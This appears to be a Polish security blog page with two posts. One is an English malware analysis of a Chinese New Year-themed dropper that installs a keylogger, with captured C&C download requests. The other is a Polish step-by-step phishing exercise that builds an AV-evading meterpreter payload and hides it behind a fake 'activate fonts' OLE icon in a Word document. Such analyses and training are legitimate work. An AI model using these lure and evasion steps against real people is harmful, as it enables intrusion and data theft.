Pokazywanie postów oznaczonych etykietą socjotechnika. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą socjotechnika. Pokaż wszystkie posty

niedziela, 18 marca 2018

Happy New Year wishes from China

At the end of January 2018 one of government agencies in Poland received an email with new year’s wishes from one of Chinese government agency. The content of the email is definitely suspicious so we decided to perform deeper analysis of this attempt of attack.


First of all we have to understand an email header. The received entries are the most important part of email because received lines contain a list of all hosts through which the message travelled. We can notice that the real source IP address of sender is 39.109.6.203. So probably the misconfiguration of one of Chinese server permitted to spoof an email address of a sender.

Received: from WIN-RME55NNMJCN (unknown [39.109.6.203])
    by mail1.***.gov.cn (c) with ESMTPA id 68AA921190
    for <***.gov.pl>; Wed, 31 Jan 2018 09:54:39 +0800 (HKT)


The next step was to analyse attached rar archive file. It was composed only of one file named Happy 2018.scr. After execution we can see a nice picture with wishes (presented at the beginning of this article).
JPG file is stored in a resource section .rsrc of the scr file. Malware often stores an embedded program or configuration ata in this section. API function names were obfuscated but finally we noticed that to handle resource objects the following API calls were used: FreeResource(), LockResource(), LoadResource(), FindResourceA(), SizeOfResource().


In the same time malware reads SYSTEM\CurrentControlSet\Services\disk\Enum registry key. It is known trick to detect virtual machines.


By using LoadLibraryA() and GetProcAddress() APIs other API functions are resolved: OpenServiceA(), StartServiceA(), OpenSCManagerA(), QueryServiceStatus(), ControlService(), CloseServiceHandle(), CreateServiceA(), RegOpenKeyExA(), RegCloseKey(), RegSetValueExA(), RegQueryValueA(), RegCreateKeyA(), RegEnumValueA().
If malware does not detect virtual machine, new service will be installed. The service name is Avriax with description Multiple defender service with one windows service. The following execution command is added to Windows registers: %SystemRoot%\system32\svchost -k Avriax. A dll file is a second stage malware. It is copied from BIN resource section of scr file. This file is encrypted by using RC4 algorithm with passphrase “ULoveVas”. After installation the service is started immediately.

00402A97  |. FF15 70504000  CALL DWORD PTR DS:[405070]               ;  ADVAPI32.OpenSCManagerA
00402A9D  |. 8BF8           MOV EDI,EAX
00402A9F  |. 85FF           TEST EDI,EDI
00402AA1  |. 74 32          JE SHORT Happy_20.00402AD5
00402AA3  |. 8B4424 08      MOV EAX,DWORD PTR SS:[ESP+8]
00402AA7  |. 56             PUSH ESI
00402AA8  |. 68 10000100    PUSH 10010
00402AAD  |. 50             PUSH EAX
00402AAE  |. 57             PUSH EDI
00402AAF  |. FF15 74504000  CALL DWORD PTR DS:[405074]               ;  ADVAPI32.OpenServiceA
00402AB5  |. 8BF0           MOV ESI,EAX
00402AB7  |. 85F6           TEST ESI,ESI
00402AB9  |. 74 12          JE SHORT Happy_20.00402ACD
00402ABB  |. 6A 00          PUSH 0
00402ABD  |. 6A 00          PUSH 0
00402ABF  |. 56             PUSH ESI
00402AC0  |. FF15 80504000  CALL DWORD PTR DS:[405080]               ;  ADVAPI32.StartServiceA


Malware connects to C&C server and downloads another file - 30_1.exe. Info.hangro.net has the same IP address 39.109.6.203.

GET /session/manager?mode=0&id=JWXswTgi0184796 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: info.hangro.net
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment; filename="robots.txt"
Content-Type: application/x-msdownload
Content-Length: 10
Date: Wed, 31 Jan 2018 18:29:18 GMT

30_1.exe
GET /session/manager?mode=30_1.exe&id=JWXswTgi0184796 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: info.hangro.net
Cache-Control: no-cache


Downloaded file is also encrypted by using RC4 algorithm. The passphrase is “Higaisakora.0”. After decrypting executable file is executed by using CreateProcessA() API from the following location C:\Windows\TEMP directory. All strings in this file are encoded. The decoding instructions are presented below:


On below example we can see another decoded window service name. The second service will be installed by new malware file.


The functionality of exe file is easily identified by looking at decoded API names.


Executable file contains also new resource – one more dll file. This time malicious dll library is not encrypted. We can use CFF Explorer to extract new library.


The dll file is store in C:\Users\<username>\AppData\Roaming\System\hpptx386.dll and new service named HP Printer Software is created. This is the last stage of infection.
DLL file is a keylogger. All data are stored in Info.dat file and send to C&C host vachel.vicp.cc [IP: 39.109.6.203].There are several methods of implementing keyloggers in Windows. Method used in described example is based on GetAsyncKeyState() and GetKeyState(). Mentioned functions are used to query the status of all keys.


Basic IoC are listed below:
  • (Happy 2018 .scr) SHA1: 511F7BC170C596AD1A26D616359A78851EB7881B
  • (Avriax32.dll) SHA1: 2FB33BF79BCACA2445F66769C5261037C2EF92E2
  • (30_1.exe - encrypted) SHA1: 82BAC0B378285F914C518F39F54DA3E4A7A54588
  • (decrypted) SHA1: F372CE319060F103714D0F8897F846452786BB31
  • (hpptx386.dll) SHA1: 83B995717F82F97D3A65C7E6FBFB59908EEDE811
  • 39.109.6.203
  • info.hangro.net
  • vachel.vicp.cc

czwartek, 9 marca 2017

Ćwiczenie: Skuteczny atak socjotechniczny



Wstęp

Ataki socjotechniczne są ciągle jedną z najskuteczniejszych metod wykorzystywaną przez intruzów. Aby zrozumieć metody stosowane przez intruzów od czasu do czasu musimy zasymulować taki atak. W tym artykule krok po kroku pokażemy jak wygląda przykładowa faza przygotowania scenariusza ataku socjotechnicznego z użyciem złośliwego oprogramowania.
Opisane przykłady mogą być stosowane wyłącznie w celach edukacyjnych.

Veil-Evasion

Veil-Evasion jest aplikacją z zestawu narzędzi Veil-Framework, który służy do generowania złośliwego oprogramowania (obecnie 51 modułów) oraz obfuskacji już wcześniej wygenerowanego złośliwego kodu. Veil-Evasion pozwala nam na generowanie payload-ów w różnych językach programowania.
Poniżej fragment dostępnych modułów:


Nie wszystkie modułu tego generatora są jednakowo skutecznie. Co ciekawe zastosowanie niektórych z nich powoduje większą wykrywalność niż w przypadku zastosowania natywnych modułów metasploit. Przyjrzyjmy się bliżej jak działa jeden z dostępnych modułów. Użyjemy modułu ruby/shellcode_inject/base64, który możemy zaliczyć do tych bardziej skutecznych (czyli mających małą wykrywalność).
Poniżej przykład konfiguracji:


W ustawieniach samego payloadu, zostawiamy opcje COMPILE_TO_EXE na wartość Y oraz domyślną metodę iniekcji czyli INJECT_METHOD na Virtual. Następnym krokiem będzie wybranie opcji generate oraz dostarczenie potrzebnego shellcode’u poprzez oprogramowanie msfvenom.


Veil-Evasion w tym wypadku da nam możliwość wybrania i wygenerowania shellcode używając bazy msfvenom. Wspominaliśmy wcześniej że payloady wygenerowane w msfvenom są wykrywalne, jednakże w połączeniu z metodą obfuskacji jaką dostarcza Veil-Evasion możemy spokojnie skorzystać z już gotowych modułów msfvenom, oczywiście jeżeli chodzi o sam shellcode.
Wybieramy payload: windows/meterpreter/reverse_https, następnie podajemy adres serwera C&C. Dlaczego https? Nie wszystkie organizacje analizują ruch https. Oczywiście możemy też użyć np. komunikacji DNS ale tak jak już kiedyś pisaliśmy testy socjotechniczne mają też na celu przetestowanie infrastruktury zamawiającego pod katem różnych ustawień bezpieczeństwa.
Na koniec zostaniemy poproszeni o nazwę naszego payload-u, np. ruby_payload.
Poniżej znajduję się kod malware przed przekształceniem do formy pliku wykonywalnego exe:


Możemy zauważyć że zawarte tam są:

  • Wymagane moduły,
  • Wywołania API dzięki którym załadowany i uruchomiony zostanie shellcode,
  • Zakodowany ciąg kodu malware (shellcode) w postaci base64.

Wiadomość email

Często powtarzającym się scenariuszem (ze względu na skuteczność) jest przygotowanie wiadomości z załącznikiem. Treść wiadomości to zazwyczaj informacja o nieopłaconej fakturze albo „ważne dokumenty” dla odbiorcy. Jest to jeden z ważniejszych elementów ataku – a treść i forma jest bardzo istotna i ma kluczowy wpływ na skuteczność całego przedsięwzięcia.

Załącznik

Czasami atakujący załącza bezpośrednio złośliwy plik do wiadomości – np. javascript dodatkowo kompresuje go i zabezpiecza hasłem. Czasami jest to link do dokumentu pdf znajdujący się na zewnętrznym serwerze. Innym mechanizmem jest implementacja złośliwego makra w dokumencie Office. O ile makro jest dosyć skutecznym sposobem osadzenia malware to okazuje się że organizacje coraz częściej blokują ich obsługę.
W opisywanym scenariuszu zastosujemy inną ciekawą opcję umieszczenia złośliwego oprogramowania w dokumencie. Jest nim umieszczenie obiektu OLE (Object Linking and Embedding) w wcześniej stworzonym dokumencie. Z naszego doświadczenia wynika że jest to często zapomniany element, który nie jest poddawany weryfikacji pod kątem obecności malware (niektóre rozwiązania bezpieczeństwa mają możliwość blokowania „aktywnej zawartości” w dokumentach).
Sposób osadzania obiektu w dokumencie pozwala nam ma utworzenie bardzo przekonującego scenariusza, który zwiększa szanse na przeprowadzenie udanego ataku.
Załóżmy, że naszym celem będzie dział reklamacji firmy X. Z informacji z strony www wiemy że na adres mailowy firmy X czyli reklamacje@firma_x.pl można zgłaszać reklamacje jako klient indywidualny.
Stwórzmy najpierw prosty dokument Microsoft Word, który po uruchomieniu będzie wyglądał jakby jego czcionka nie została poprawnie wyświetlona. Robimy tak pisząc na przykład w mniej używanej czcionce np. MT Extra. Inną metodą jest po prostu utworzeniu ciągu znaków [] co będzie przypominało ciąg znaków z źle wyświetloną czcionką.



Dodajemy do dokumentu również informacje o tym, iż jeżeli dokument nie został wyświetlony poprawnie to prosimy o uruchomienie/instalację czcionek. Dodajemy więc informacje, tak jak zostało to przedstawione poniżej:


Teraz zostaje nam jedynie osadzenie obiektu OLE, który jest plikiem ze złośliwym oprogramowaniem, a dla osoby która otrzyma ten dokument, jedynie „przyciskiem” do „aktywacji czcionek”. Przed wstawieniem zmieniamy jeszcze nazwę wygenerowanego złośliwego pliku na „Microsoft Word.exe”.
Samo umieszczenie obiektu OLE z pliku nie jest zbyt zachęcające nawet dla przeciętnego użytkownika, dlatego też zaznaczamy opcje „Wyświetl jako ikonę”. W tym przypadku nazwiemy nasz plik „Aktywuj czcionki” a ikonę wybierzemy z znanej biblioteki shell32.dll. Po spreparowaniu odpowiednio naszego obiektu oraz wprowadzeniu go do dokumentu, całość powinna przedstawiać się tak:


Nasz dokument jest prawie gotowy, teraz jedynie należy mu nadać odpowiednią nazwę.
Każda próba „aktywacji czcionek” powodowała nawiązywanie sesji do serwera C&C na którym znajdował się skrypt wykonujący kilka podstawowych komend na komputerze ofiary. 

Podsumowanie

Pomimo faktu, że technologia osadzania obiektów OLE w plikach z pakietu MS Office była już w przeszłości używana do przenoszenia złośliwego oprogramowania, to z wykorzystaniem odpowiednich sztuczek socjotechnicznych oraz braku odpowiednich mechanizmów ochrony jest duża szansa udanego ataku. Ataku, który jest prosty i skuteczny.

Źródła